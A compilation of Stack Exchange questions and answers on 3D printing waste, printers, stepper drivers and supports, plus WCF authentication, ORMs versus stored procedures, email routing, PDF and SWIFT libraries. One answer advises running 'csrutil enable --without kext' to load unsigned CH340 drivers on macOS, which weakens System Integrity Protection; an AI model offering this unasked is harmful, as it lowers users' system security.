I tried looking online but the closest I got was effects on environment, turning prints back into filament, or restarting a failed print half-way, none of which were the information I was looking for. </p>
<p>The solution should be somewhat eco and just keeping unwanted prints in a box somewhere isn't a very good solution either.<br>
Finishing off failed prints isn't totally applicable because it wouldn't apply to prototype prints that you don't want to keep.</p>
<p>Is there anywhere to send failed 3D prints for professional recycling, or are there any recommendations for properly disposing 3D prints? </p>
<p>In case this is of any use, the printer I am planning to get uses filament that can be made of PLA, ABS, Nylon, and possibly other materials. The printer is this one specifically (<a href="https://www.kickstarter.com/projects/101hero/101hero-the-world-first-us49-3d-printer">https://www.kickstarter.com/projects/101hero/101hero-the-world-first-us49-3d-printer</a>) from KickStarter.</p>
|
<p>The "obvious" answer is re-grinding the prints and making more filament. Unfortunately, this isn't yet a very economical or simple operation. A decent filament extruder capable of holding acceptable diameter tolerances is around $1000, and even then they can be pretty fidgety to operate. You have to have a LOT of volume throughput in your filament extruder for regrinding to be an economical proposition. </p>
<p>Some of the reasons why recycling prints into filament can be difficult:</p>
<ul>
<li>Most plastics will degrade to some extent each time they are extruded. (Both by the 3d printer and by the filament extruder.) PLA will thermally degrade with extended exposure to heat. PET will hydrolyze and break down if not meticulously dried to remove moisture prior to heating to the melting temp. (PETG seems to be less prone to hydrolysis damage than plastic bottle PET, but it still happens to a limited degree.) ABS holds up to extrusion conditions better than most, which is part of why it's favored for injection molding, but there's still the potential to affect properties by depleting additives or cooking out plasticizers. <strong>In practice, this means regrinds generally need to be mixed with fresh pellets at some ratio.</strong> That dilutes the degraded or additive-depleted polymer with good material so you can maintain the material properties and performance. </li>
<li>If you print a variety of different colors, and don't want all your recycled filament to mix and end up a muddy brownish color, it can be difficult to manage the color sorting and matching. Most people don't want different colors along the length of a spool, either. So the regrind has to be mixed evenly in with virgin pellets and a suitable amount of masterbatch colorant to get a reasonable color output. You're not going to run off a new spool with 95% virgin pellets just to recycle a 50 gram failed print, are you? Likewise for material matching. Mixing materials is a bad idea. <strong>If you only print white PLA, this is all pretty easy to manage. But if you print a variety of colors and materials, you've got to set up a material tracking, sorting, and storage operation.</strong> You <em>can</em> do it... it's just a hassle. </li>
<li>Diameter control is difficult. 3D printers need a fairly tight diameter control for reliable performance and good quality. This is really the key challenge in any filament extrusion process. Extruded polymers like to change shape as they extrude and cool due to molecular alignment effects. You can't just push molten plastic out a 1.75mm nozzle -- "die swell" will make the extrudate bulge to a larger diameter immediately upon exiting the nozzle. Then you have to actually <em>pull</em> on the soft filament as it cools to carefully draw it down to the right diameter. The way the filament extruder measures diameter and controls tension is the key to getting acceptable results. Most hobbyist/desktop filament extruders have not succeeded at this. </li>
</ul>
<p>Those are just the major issues. Filament extrusion is a complex subject with a lot of depth. For a home user of 3d printers, making filament basically becomes a whole second hobby. In my opinion, it only really makes sense in a commercial production printing environment where paid technicians can run the extruder(s) and a very large print throughput makes the pellets+regrind economics much more favorable than just buying new filament. </p>
<p>Reducing and reusing are preferable to recycling. Making your printer more reliable and gaining experience with calibration/configuration will reduce the volume of waste produced. </p>
<p>There are also some productive uses that let you reuse unwanted prints as-is or "downcycle" them for productive uses. </p>
<ul>
<li>I personally keep a box of failed prints (and calibration prints and
no-longer-needed prototypes) as showpieces for people who want to
learn about 3D printing, and as toys for my nieces and nephews. I strongly recommend doing your calibration prints with a "toy" calibration model like <a href="http://www.thingiverse.com/thing:763622" rel="noreferrer">Benchy</a> or <a href="http://www.thingiverse.com/thing:1090268" rel="noreferrer">CaliBlocks</a>. 3D printing is still new enough that people will happily take dozens of Benchies off your hands for the novelty value.</li>
<li>Failed and unwanted prints can also be used around the workshop for shims, sacrificial
cushions when clamping or hammering or drilling, or as scrap for experimenting
with adhesives or post-processing techniques.</li>
<li>ABS scraps are good for making ABS-slurry as a print bed adhesion treatment
layer, or for solvent-painting and filling gaps in other prints. Unfortunately, most other filaments do not have such convenient and safe solvents.</li>
<li>Some people have experimented with putting piles of scrap prints on a cookie sheet in an oven and melting them into multicolor cutting boards. There's a lot you can do with this sort of heavy remelt plate if you get creative. (I personally wouldn't use cheap Asian filaments for food contact though, they often have unpleasant contaminants.)</li>
</ul>
|
<p>If you have a few friends you could pitch in and use a recycling service like <a href="https://www.terracycle.com/en-US/zero_waste_boxes/3d-printing-materials" rel="nofollow noreferrer">Terracycle</a> where you can send your failed prints, rafts and scraps. No affiliation with Terracycle, it's just a service that I found and am considering.</p>
| 304
|
<p>What's the best way to implement authentication over WCF?</p>
<p>I'd prefer to not use WS-* as it needs to be transport independent.</p>
<p>Should I "roll my own"? Is there any guidance for doing that (articles/blog posts)?<br>
Or is there some way to <em>(and should I)</em> use the built in ASP.NET Membership and Profile providers on the server side?
</p>
|
<p>Message based authentication, which is WS-Security based, is what you're looking for and is definitely supported by basicHttpBinding and netTcpBinding. I think you are making the mistaken assumption that only WsHttpBinding will support WS-Security, which is inaccurate. </p>
<p>The WS bindings are for WS-* elements other than WS-Security, such as WS-ReliableMessaging. Setting up transport independent message security is still going to be tricky, if you want it to stay secure. For the transports that aren't duplex you'll need to have at least one certificate exchanged in advance. </p>
<p>That might be the other reason you believe message security isn't supported by basicHttpBinding. basicHttpBinding will not allow you to use UserName authentication without transport security (for good reason too I'll add). And since transport security is inherently transport dependent I'm guessing you're trying to avoid it.</p>
<p>So anyhow, if you want to be fully transport independent the first thing you need to tackle is getting the certificates in order and figuring out how you're going to distribute the first (root) certificate(s), or securely exchange certificates. If you have the luxury of an application where you can distribute a master certificate, then take that route. If you're in a more complex scenario than that, you need to step back and think about how hard this problem really is.</p>
|
<p>Why should WS-* be transport dependant?</p>
<p>The whole point of the WS-* specifications is that they are part of the message, and hence transport independent.</p>
| 3,779
|
<p>I've just bought <strong>Anycubic i3 Mega</strong> printer and trying to level it.
So far I've printed test object and 2 others but looks like there are problems with leveling.</p>
<p>I want to make image of 5 small one layer squares(one in each corner and one in center). Looking for recommendations of <strong>simple</strong> software/tutorials/approaches to do it. I tried zbrush but found that it kind of complicated.</p>
|
<p>You are probably looking for something like <a href="https://www.thingiverse.com/thing:2479352" rel="nofollow noreferrer">this</a>:</p>
<p><img src="https://cdn.thingiverse.com/renders/0f/68/62/46/9f/646e9a4ee9ff75a7f0cacb396a0b7ed4_preview_featured.jpg" alt="leveling print object"></p>
<p>Note this is for large beds (300 x 300 mm), so you would have to X, Y scale this in your slicer.</p>
<p>This is a simple part that is very easily generated with <a href="http://www.openscad.org" rel="nofollow noreferrer">OpenSCAD</a> 3D design software (very good modeller if you are familiar with software coding), but could easily been designed in any <a href="https://en.m.wikipedia.org/wiki/List_of_3D_modeling_software" rel="nofollow noreferrer">other tool</a>.</p>
<p>Another leveling and centering print that is created with OpenSCAD is <a href="https://www.thingiverse.com/thing:2280529" rel="nofollow noreferrer">this</a>, and could be a start for you to create your own design:</p>
<p><a href="https://i.stack.imgur.com/mH73a.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/mH73a.jpg" alt="leveling and centering print object"></a></p>
<p>Note that the file with the design is located in the "files" section.</p>
<p><strong>Edit</strong>:
Some code for OpenSCAD made within 5 minutes (I don't type fast so it could have been faster if I did not use the constants, but if you go OpenSCAD, making parametric designs is almost a must ;) ):</p>
<pre><code>// Set constants as you like
width = 30;
depth = 30;
layer_height = 0.2;
first_layer_height = 0.2;
nr_of_layers = 2;
box_size = 180;
// Calculated parameters
height = first_layer_height + (nr_of_layers - 1) * layer_height;
// Draw the test object
translate([-width/2, -depth/2,0]){
// Draw the center square
cube(size = [width, depth, height], center = false);
// Draw the corner squares
for (x=[-1:2:1]){
for (y=[-1:2:1]){
translate([x * (box_size-width)/2, y * (box_size-depth)/2, 0])
cube(size = [width, depth, height], center = false);
}
}
}
</code></pre>
<p>Rendered figure:
<a href="https://i.stack.imgur.com/bVNru.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/bVNru.png" alt="rendered image of the 5 square level test print"></a></p>
|
<p>One of the most accessible modelling tools has to be <a href="https://www.tinkercad.com/" rel="nofollow noreferrer">tinkercad</a>. Everything is done in the browser, and it even works (to an extent) on a tablet. </p>
<p>I wouldn't recommend getting too attached to it, since it is fairly limited. As an introduction to modeling in 3D, and some of the spatial concepts that you will need to get used to, it works very well.</p>
| 995
|
<p>I'm struggling to find out an enclosed 3D printer that allow to load the common 1 kg filament bobbins. Most of the enclosed ones accept only proprietary bobbins (like Dremel or Flashforge).</p>
<p>Do these bobbins ( = 1 kg) rely on a specific standard I can search for?
How to filter out the printers that match my request when making a Google search?</p>
<p>I'm aware I can "easily" put them out of the machine using a custom support (or even directly in a dryer as I do for my Dremel) but this partially nullifies the advantage of the enclosure.</p>
|
<h1>There are standards for spools/bobbins/reels</h1>
<p>Looking for standards for spools, I started at Alibaba and then came to an actual European manufacturer or retailer of reels: <a href="https://www.hafner-spools.com/en/products/spools/spools-for-3d-printer/" rel="nofollow noreferrer">Häfner</a>. They manufacture reels for wires, which are also used for 3D printers. They helpfully provide a chart of their products from about 250 cm³ to a whooping 98454 cm³ - which is about 250 grams of ABS to in theory 98 kilos. However, typically the largest spool you will find for privates is the 300/20 K type with about 3800 cm³, which is more than enough to get a 4-kilo reel of PLA onto it. At times you might find something in the order of 8000 to 10000 cm³ for a rather heavy 8-kilo spool, though that is industrial sizing.</p>
<p>As this single offerer shows, spools are <strong>very</strong> varied, and the hub diameter of them is not standardized, but the boreholes only come in very distinct sizes.</p>
<p>However, <strong>some</strong> of the items that are sold as 3D filament spools are actually welding wire spools, for which standards exist, such as <a href="https://www.nationalstandard.com/wp-content/uploads/2017/10/NS-Welding-Wire-Catalog-2018-05-05.pdf" rel="nofollow noreferrer">this</a> dictating "2‐1/32 inch" arbor holes.</p>
<h2>Scale of spools is dependant on the market</h2>
<p>Typical enclosed consumer FDM machines are small.</p>
<p>But spools below 1 kilo are not useful for mass-production of large parts and even then, 3 kilos is a sweetspot for handling between ease of moving and time spent changing spools. So industrial machines usually take larger spools - or propriatory cannisters/cartridges with a spool.</p>
<p>One of the big ones is the <a href="https://www.stratasys.com/en/3d-printers/printer-catalog/fdm-printers/f900-printer/" rel="nofollow noreferrer">Stratasys F900</a>. It has a print-volume of 914 x 610 x 914 mm and takes "up to 500 cubic inch" cartridges, apparently the largest size of FDM Filament cartridge offered by Stratasys. For the record: 500 cubic inch weigh about 8 kilos in ABS, and about 10 kilos in PLA.</p>
<h2>Modification of existing printers</h2>
<p>It is almost trivial to modify an existing printer that takes non-proprietary spools to allow taking in filament from the outside without keeping the door closed. A piece of PTFE tube can easily take the position of the spool inside the machine to guide the filament into the machine-mounted intake. The modification might only need a single small hole in the door for the tube or its fitting to get into the machine.</p>
<p>This way you mount pretty much an adapter for larger spools, but you bypass for example automatic filament detection with the spool unless you also open the door and slot in a "disk" of sorts that contains the RFID with the configuration of the mounted spool.</p>
<p>A random example setup, mounting the "outer intake" in an angled block at the center of the former door:</p>
<p><a href="https://i.stack.imgur.com/L43i3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/L43i3.png" alt="an example setup" /></a></p>
|
<p>QIDI Tech makes a series of enclosed printers, which would narrow your search a bit. I own an X-Max model which has an internal spool spindle as standard equipment, along with an "ordinary" external mount. The internal spindle will take a standard one kilogram spool. It's considered good practice when printing moisture sensitive filament such as nylon to have such an environment.</p>
<p>With respect to search terms, it's fairly difficult to identify a phrase that would collect the information you require.</p>
| 2,203
|
<p>I really need to see some honest, thoughtful debate on the merits of the currently accepted <strong><em>enterprise application</em></strong> design paradigm.</p>
<p>I am not convinced that entity objects should exist.</p>
<p>By entity objects I mean the typical things we tend to build for our applications, like "Person", "Account", "Order", etc.</p>
<p>My current design philosophy is this:</p>
<ul>
<li>All database access must be accomplished via stored procedures.</li>
<li>Whenever you need data, call a stored procedure and iterate over a SqlDataReader or the rows in a DataTable</li>
</ul>
<p>(Note: I have also built enterprise applications with Java EE, java folks please substitute the equvalent for my .NET examples)</p>
<p>I am not anti-OO. I write lots of classes for different purposes, just not entities. I will admit that a large portion of the classes I write are static helper classes.</p>
<p>I am not building toys. I'm talking about large, high volume transactional applications deployed across multiple machines. Web applications, windows services, web services, b2b interaction, you name it.</p>
<p>I have used OR Mappers. I have written a few. I have used the Java EE stack, CSLA, and a few other equivalents. I have not only used them but actively developed and maintained these applications in production environments.</p>
<p>I have come to the battle-tested conclusion that entity objects are getting in our way, and our lives would be <em>so</em> much easier without them.</p>
<p>Consider this simple example: you get a support call about a certain page in your application that is not working correctly, maybe one of the fields is not being persisted like it should be. With my model, the developer assigned to find the problem opens <em>exactly 3 files</em>. An ASPX, an ASPX.CS and a SQL file with the stored procedure. The problem, which might be a missing parameter to the stored procedure call, takes minutes to solve. But with any entity model, you will invariably fire up the debugger, start stepping through code, and you may end up with 15-20 files open in Visual Studio. By the time you step down to the bottom of the stack, you forgot where you started. We can only keep so many things in our heads at one time. Software is incredibly complex without adding any unnecessary layers.</p>
<p>Development complexity and troubleshooting are just one side of my gripe.</p>
<p>Now let's talk about scalability.</p>
<p>Do developers realize that each and every time they write or modify any code that interacts with the database, they need to do a throrough analysis of the exact impact on the database? And not just the development copy, I mean a mimic of production, so you can see that the additional column you now require for your object just invalidated the current query plan and a report that was running in 1 second will now take 2 minutes, just because you added a single column to the select list? And it turns out that the index you now require is so big that the DBA is going to have to modify the physical layout of your files?</p>
<p>If you let people get too far away from the physical data store with an abstraction, they will create havoc with an application that needs to scale.</p>
<p>I am not a zealot. I can be convinced if I am wrong, and maybe I am, since there is such a strong push towards Linq to Sql, ADO.NET EF, Hibernate, Java EE, etc. Please think through your responses, if I am missing something I really want to know what it is, and why I should change my thinking.</p>
<p><strong><em>[Edit]</em></strong></p>
<p>It looks like this question is suddenly active again, so now that we have the new comment feature I have commented directly on several answers. Thanks for the replies, I think this is a healthy discussion.</p>
<p>I probably should have been more clear that I am talking about enterprise applications. I really can't comment on, say, a game that's running on someone's desktop, or a mobile app.</p>
<p>One thing I have to put up here at the top in response to several similar answers: orthogonality and separation of concerns often get cited as reasons to go entity/ORM. Stored procedures, to me, are the best example of separation of concerns that I can think of. If you disallow all other access to the database, other than via stored procedures, you could in theory redesign your entire data model and not break any code, so long as you maintained the inputs and outputs of the stored procedures. They are a perfect example of programming by contract (just so long as you avoid "select *" and document the result sets).</p>
<p>Ask someone who's been in the industry for a long time and has worked with long-lived applications: how many application and UI layers have come and gone while a database has lived on? How hard is it to tune and refactor a database when there are 4 or 5 different persistence layers generating SQL to get at the data? You can't change anything! ORMs or any code that generates SQL <strong><em>lock your database in stone</em></strong>.</p>
|
<p>I think it comes down to how complicated the "logic" of the application is, and where you have implemented it. If all your logic is in stored procedures, and all your application does is call those procedures and display the results, then developing entity objects is indeed a waste of time. But for an application where the objects have rich interactions with one another, and the database is just a persistence mechanism, there can be value to having those objects.</p>
<p>So, I'd say there is no one-size-fits-all answer. Developers do need to be aware that, sometimes, trying to be too OO can cause more problems than it solves.</p>
|
<p>I think that you are just used to writing a specific kind of application, and solving a certain kind of problem. You seem to be attacking this from a "database first" perspective. There are lots of developers out there where data is persisted to a DB but performance is not a top priority. In lots of cases putting an abstraction over the persistence layer simplifies code greatly and the performance cost is a non-issue.</p>
<p>Whatever you are doing, it's not OOP. It's not wrong, it's just not OOP, and it doesn't make sense to apply your solutions to every othe problem out there.</p>
| 3,918
|
<p>Is there a PDF library that one can use to automate creating PDFs from URLs? The current approach I use is to "Print" a page and select a PDF plugin like PrimoPDF to generate the PDF document but I was wanting to automate that. </p>
|
<p><a href="http://www.websupergoo.com" rel="nofollow noreferrer">ABCPDF </a>can do it </p>
|
<p>Depends on what platform you are on</p>
<p>Windows - Websupergoo's ABC PDF</p>
<p><a href="http://www.websupergoo.com/" rel="nofollow noreferrer">http://www.websupergoo.com/</a></p>
<p>*nix - Prince XML
<a href="http://www.princexml.com/overview/" rel="nofollow noreferrer">http://www.princexml.com/overview/</a></p>
| 5,332
|
<p>For the past few weeks, I've been trying to learn about just how email works. I understand the process of a client receiving mail from a server using POP pretty well. I also understand how a client computer can use SMTP to ask an SMTP server to send a message. However, I'm still missing something...</p>
<p>The way I understand it, outgoing mail has to make three trips:</p>
<ol>
<li>Client (gmail user using Thunderbird) to a server (Gmail)</li>
<li>First server (Gmail) to second server (Hotmail)</li>
<li>Second server (Hotmail) to second client (hotmail user using OS X Mail)</li>
</ol>
<p>As I understand it, step one uses SMTP for the client to communicate. The client authenticates itself somehow (say, with USER and PASS), and then sends a message to the gmail server.</p>
<p>However, I don't understand how gmail server transfers the message to the hotmail server.</p>
<p>For step three, I'm pretty sure, the hotmail server uses POP to send the message to the hotmail client (using authentication, again).</p>
<p>So, the big question is: <strong>when I click send Mail sends my message to my gmail server, how does my gmail server forward the message to, say, a hotmail server so my friend can recieve it?</strong></p>
<p>Thank you so much!</p>
<p>~Jason</p>
<hr>
<p>Thanks, that's been helpful so far.</p>
<p>As I understand it, the first client sends the message to the first server using SMTP, often to an address such as smtp.mail.SOMESERVER.com on port 25 (usually).</p>
<p>Then, SOMESERVER uses SMTP again to send the message to RECEIVESERVER.com on port 25 (not smtp.mail.RECEIVESERVER.com or anything fancy).</p>
<p>Then, when the recipient asks RECEIVESERVER for its mail, using POP, s/he recieves the message... right?</p>
<p>Thanks again (especially to dr-jan),</p>
<p>Jason</p>
|
<p>The SMTP server at Gmail (which accepted the message from Thunderbird) will route the message to the final recipient.</p>
<p>It does this by using DNS to find the MX (mail exchanger) record for the domain name part of the destination email address (hotmail.com in this example). The DNS server will return an IP address which the message should be sent to. The server at the destination IP address will hopefully be running SMTP (on the standard port 25) so it can receive the incoming messages.</p>
<p>Once the message has been received by the hotmail server, it is stored until the appropriate user logs in and retrieves their messages using POP (or IMAP).</p>
<p>Jason - to answer your follow up...</p>
<blockquote>
<p>Then, SOMESERVER uses SMTP again to send the message to RECEIVESERVER.com on port 25 (not smtp.mail.RECEIVESERVER.com or anything fancy).</p>
</blockquote>
<p>That's correct - the domain name to send to is taken as everything after the '@' in the email address of the recipient. Often, RECEIVESERVER.com is an alias for something more specific, say something like incoming.RECEIVESERVER.com, (or, indeed, smtp.mail.RECEIVESERVER.com).</p>
<p>You can use nslookup to query your local DNS servers (this works in Linux and in a Windows cmd window):</p>
<pre><code>nslookup
> set type=mx
> stackoverflow.com
Server: 158.155.25.16
Address: 158.155.25.16#53
Non-authoritative answer:
stackoverflow.com mail exchanger = 10 aspmx.l.google.com.
stackoverflow.com mail exchanger = 20 alt1.aspmx.l.google.com.
stackoverflow.com mail exchanger = 30 alt2.aspmx.l.google.com.
stackoverflow.com mail exchanger = 40 aspmx2.googlemail.com.
stackoverflow.com mail exchanger = 50 aspmx3.googlemail.com.
Authoritative answers can be found from:
aspmx.l.google.com internet address = 64.233.183.114
aspmx.l.google.com internet address = 64.233.183.27
>
</code></pre>
<p>This shows us that email to anyone at stackoverflow.com should be sent to one of the gmail servers shown above.</p>
<p>The Wikipedia article mentioned (<a href="http://en.wikipedia.org/wiki/Mx_record" rel="noreferrer">http://en.wikipedia.org/wiki/Mx_record</a>) discusses the priority numbers shown above (10, 20, ..., 50).</p>
|
<p>Step 2 to 3 (i.e. Gmail to Hotmail) would normally happen through SMTP (or ESMTP - extended SMTP).</p>
<p>Hotmail doesn't send anything to a client via POP3. It's important to understand some of the nuances here. The client contacts Hotmail via POP3 and requests its mail. (i.e. the client initiates the discussion).</p>
| 5,274
|
<p>I'm looking for a Java library for SWIFT messages. I want to</p>
<ul>
<li>parse SWIFT messages into an object model</li>
<li>validate SWIFT messages (including SWIFT network validation rules)</li>
<li>build / change SWIFT messages by using an object model</li>
</ul>
<p>Theoretically, I need to support all SWIFT message types. But at the moment I need MT103+, MT199, MT502, MT509, MT515 and MT535.</p>
<p>So far I've looked at two libraries</p>
<ul>
<li>AnaSys Message Objects (<a href="http://www.anasys.com/products/messageobjects/" rel="noreferrer">link text</a>)</li>
<li>Datamation SWIFT Message Suite (<a href="http://www.paymentcomponents.com/swift/message_suite/components_suite.html" rel="noreferrer">link text</a>)</li>
</ul>
<p>Both libraries allow to accomplish the tasks mentioned above but in both cases I'm not really happy. </p>
<p>AnaSys uses a internal XML representation for all SWIFT messages which you need to know in order to access the fields of a message. And you need to operate on the DOM of the XML representation, there is no way to say "get the contents of field '50K' of the SWIFT message".</p>
<p>And the Datamation library seems to have the nicer API but does not find all errors.</p>
<p>So does anyone know other SWIFT libraries to use? </p>
|
<p>Have you looked at <a href="http://wife.sourceforge.net/" rel="noreferrer">WIFE</a>? We use that in our application which translates SWIFT messages to an internal XML format and back again. We haven't had any problems with it. Also, it's licensed under the LGPL, so you can hack it up if you need to. Check it out.</p>
|
<p>I can not really help you out with a Java implementation. Microsoft of course, have their own Biztalk adapter for ISO15022 and 20022. And they will actually do the validation fairly well. But as you say you are actually looking for a java solution. </p>
<p>You might find, as I did when I researched this 6 years ago, that mapping FIN messages to XML and then to into objects, a standard library will only get you partly to your goal. You will have to integrate this with your backend application and whatever market practices you face in the particular messages you need to support. </p>
<p>I finally ended up writing a generic FIN parser /150022 class library in c++.</p>
<p>Anyway, good luck. An idea is to be more specific in your question. What types of messages do you need to support?</p>
| 4,482
|
<p>I have an array of objects that when another object hits one of them, the object will be removed. I have removed it from the stage using removeChild() and removed from the array using splice(), but somehow the object is still calling some of its functions which is causing errors. How do I completely get rid of an object? There are no event listeners tied to it either.</p>
|
<p>You need to make sure that the display object you're removing:</p>
<ul>
<li>has no listeners registered on the stage, e.g. you need to call <code>stage.removeEventListener(...)</code> for any corresponding <code>stage.addEventListener(...)</code></li>
<li>doesn't have a listener for the <code>Event.ENTER_FRAME</code> event</li>
<li>doesn't listen for events on any timers</li>
<li>isn't called by a timer set up with <code>setInterval</code> anywhere</li>
<li>etc. basically anything having to do with timers, the stage, it's parent, loaders and the time line can cause objects to linger and not be removed</li>
</ul>
<p>So when you have removed the object with <code>removeChild</code> and removed it from the array you kept it in, also call its <code>stop</code> method to make sure it's not playing its timeline. It may also be a good thing to have a method on that object called something like <code>halt</code>, <code>cleanup</code> or <code>finalize</code> that unregisters any listeners, stops timers, timeouts, intervals, etc., clears references (i.e. sets the variables to <code>null</code>) to it's parent, the stage or any object that isn't going away too.</p>
|
<p>Is the object in question a MovieClip, and does it have a timeline playing?
If so you will need to stop it before removing.
Also keep in mind that storing a reference to the object in any way (although most commonly in an Event listener) will keep it from getting garbage collected. This includes any references to functions or child objects.</p>
| 9,447
|
<p>After doing a lot of research, I've decided I want to purchase a Creality CR-10S as my first 3D printer. I'm trying to locate a reputable, local seller. Other than Amazon, which seems to have a bit of a mark-up on price, I'm finding several websites that seem to be located outside of the US. Can anyone direct me to a seller located in the US?</p>
|
<p>I’ve bought two printers (CR-10S and Ender 2)from Tiny Machines in Houston Texas. They unbox them from China and assemble them and make a test print. You get a checklist of the tests performed. They will also flash a bootloader and updated Marlin for $10.</p>
<p>Yeah, you’ll pay more but if you spend any time in printer forums you’ll hear lots of complaining about missing/broken parts or DOA units.</p>
<p>They also stock spare parts here in the US. </p>
<p>Good luck to you!</p>
|
<p>My friend found an Ender 3, basically the same thing as a cr-10, at Best Buy. I wouldn't be surprised if you came across a cr-10s there as well. Keep in mind if you are going to buy one, to also get a warranty as printers can come damaged and break later. It is better to be safe rather than sorry.</p>
| 838
|
<p>I purchased two DQ542MA drivers in order to run two NEMA 17 steppers. After about five days of use I noticed that the green indicator light had gone out on both drivers. </p>
<p>The DQ542MA driver running my NEMA 23 High Torque stepper was still running and it has been connected to that stepper for five months now. Using an Ohm meter to check I found that the <a href="https://www.mouser.com/ProductDetail/Littelfuse/0451010MRL?qs=sGAEpiMZZMtxU2g%2F1juGqdRmCQF0%252bT4VCAcmqQZMjh4%3D" rel="nofollow noreferrer">10amp 125v</a> LittleFuse connected to the power pins had blown on both drivers connected to the NEMA 17 steppers cutting off the power. </p>
<p>I decided to test the still working driver by disconnecting it from the NEMA 23 stepper and corresponding pins on the motherboard and connecting and resetting it to work with one of the NEMA 17 steppers. The minute I turned my printer back on, the still working stepper (now attached to the NEMA 17 stepper) immediately blew the same fuse. I don't understand why the NEMA 17 steppers blew the fuses of the drivers, seeing as how both are properly set to a RMS of 1.69 and a pulse/rev of 400, and both are connected to a 24v PSU. </p>
<p><strong>My question is:</strong> "When I fix the drivers should I solder in a <a href="https://www.mouser.com/ProductDetail/Littelfuse/0476015MRSN?qs=sGAEpiMZZMtxU2g%2F1juGqTi%252bNtKN7qu4p8sgPytjpHvp9IQs9yJn3A%3D%3D" rel="nofollow noreferrer">15amp 125v</a> LittleFuse to better help the power flow and prevent any further blown fuses?"</p>
|
<p>There are a lot of problems with the CH340 chipset drivers to be found on 3D SE and various forums on the internet. To use this cheap CH340 chip that is used by a number of Arduino compatible (clone) boards to provide USB connectivity (a USB bus converter chip that converts USB bus signals to serial interface) you need to install a correct working driver. </p>
<p>For Mac OS X you can try to download a working version for the OS system you are using. You can try to use <a href="https://blog.sengotta.net/signed-mac-os-driver-for-winchiphead-ch340-serial-bridge/" rel="nofollow noreferrer">this driver installer</a> or <a href="https://github.com/adrianmihalko/ch340g-ch34g-ch34x-mac-os-x-driver" rel="nofollow noreferrer">this driver installer</a>. Both reported to work with Mac OS.</p>
<hr>
<p><strong>Edit</strong>: If you are using OSX El Capitan, please read <a href="https://www.kiwi-electronics.nl/blog?journal_blog_post_id=7&lang=en" rel="nofollow noreferrer">this</a>. To get the CH340 drivers to work you need to use the tool <strong>csrutil</strong>.</p>
<blockquote>
<ul>
<li>Reboot and press CMD+R immediately after hearing the startup sound to boot to Recovery Mode</li>
<li>Open Terminal</li>
<li>Execute the following command: <code>csrutil enable --without kext</code></li>
<li>Reboot</li>
</ul>
</blockquote>
<p>More information is found <a href="https://tzapu.com/making-ch340-ch341-serial-adapters-work-under-el-capitan-os-x/" rel="nofollow noreferrer">here</a>!</p>
|
<p>What Cura version do you have?
Cura only works with the Anet A8 via USB on versions 2.3 and lower according to this <a href="https://www.thingiverse.com/groups/anet-a8-prusa-i3/forums/general/topic:12212" rel="nofollow noreferrer">page</a>. The page is from thingiverse(A 3d printing forum + print files page)</p>
| 940
|
<p>I'm using <a href="http://www.c6software.com/Products/PopBox/" rel="nofollow noreferrer">PopBox</a> for magnifying thumbnails on my page.
But I want my website to work even for users which turned javascript off.</p>
<p>I tried to use the following HTML code:</p>
<pre><code><a href="image.jpg">
<img src="thumbnail.jpg" pbsrc="image.jpg" onclick="Pop(...);"/>
</a>
</code></pre>
<p>Now i need to disable the a-Tag using javascript, otherwise my PopBox won't work.</p>
<p>How do I do that?</p>
|
<p>Just put the onclick on the a-tag:</p>
<pre><code><a href="image.jpg onclick="Pop()"; return false;"><img ...></a>
</code></pre>
<p>Make sure to return <code>false</code> either at the end of the function (here <code>Pop</code>) or inline like in the above example. This prevents the user from being redirected to the link by the <code><a></code>'s default behaviour.</p>
|
<p>The <code>href</code> attribute is not required for anchors (<code><a></code> tags), so get rid of it...</p>
<pre><code> <a id="apic001" href="pic001.png"><img src="tn_pic001.png"></a>
<script type="text/javascript">
document.getElementById("apic001").removeAttribute("href");
</script>
</code></pre>
<p>This method will avoid library contention for <code>onclick</code>.</p>
<p>Tested in IE6/FF3/Chrome. Side benefit: You can link directly to the portion of the page containing that thumbnail, using the id as a URI fragment: <code><a href="http://whatever/gallery.html" rel="nofollow noreferrer">http://whatever/gallery.html</a><strong>#apic001</strong></code>.</p>
<p>For maximum browser compatibility, add a <code>name="apic001"</code> attribute to the anchor tag in your markup ('name' and 'id' values must be identical).</p>
<p>Using jQuery, dojo, Prototype, etc. you should be able to do the removeAttribute on multiple, similar anchors without needing the id.</p>
| 8,901
|
<p>Can someone tell me how to get path geometry from a WPF FlowDocument object? Please note that I do <strong>not</strong> want to use <code>FormattedText</code>. Thanks.</p>
|
<p>A <code>FlowDocument</code> can be viewed in any number of ways, but a <code>Path</code> is a fixed shape. I think maybe you really want some simplified, visual-only form of a <code>FlowDocument</code>'s contents.</p>
<p>In that case you might try converting the <code>FlowDocument</code> to an XPS <code>FixedDocument</code> - the <code>FixedPage</code>s have <code>Canvas</code>es containing a bunch of <code>Path</code>s and <code>Glyph</code>s.</p>
|
<p>Can you use </p>
<blockquote>
<p>ChildVisual = VisualTreeHelper.GetChild(Visual yourVisual)</p>
</blockquote>
<p>Dunno if you can take a Visual and turn it into a path geometry.. </p>
| 9,139
|
<p>I'm having a lot of difficulty removing support material without damaging the print.</p>
<p><img src="https://i.imgur.com/EVtUHms.jpg" alt="Support material">
<img src="https://i.imgur.com/8akiidF.jpg" alt="Support marterial"></p>
<p>Are there any tips/tricks to doing this or is it just a case of sanding, cutting, chopping and then cleaning it up as best I can?</p>
<p><strong>Settings</strong></p>
<ul>
<li>Printer: Monoprice Ultimate</li>
<li>Filament Temp: 200 °C</li>
<li>Plate Temp: 60 °C</li>
<li>Material: PLA</li>
<li>Slicer: Ultimaker Cura
<ul>
<li>Placement: Everywhere</li>
<li>Angle: 20°</li>
<li>Pattern: Concentric</li>
</ul></li>
</ul>
|
<h2>Print/material specific settings</h2>
<p>If you are printing <em><strong>too hot with too less distance</strong></em>, <em><strong>the support just fuses to the print object</strong></em>. Extra cooling, lower print temperature and support distance should be in balance to create easy to remove support structures with respect to an acceptable print object surface. If temperature and cooling cannot be balanced to prevent fused support structures (e.g. for high temperature filament materials that cannot take too much cooling as that would result in less structural solid prints), there is an option in Cura to override the fan speed for the first layer above the support (<code>Fan Speed Override</code>). If this fails to produce easy removable supports, you can resort to changing the support distance between the support and the print object.</p>
<h2>Support settings</h2>
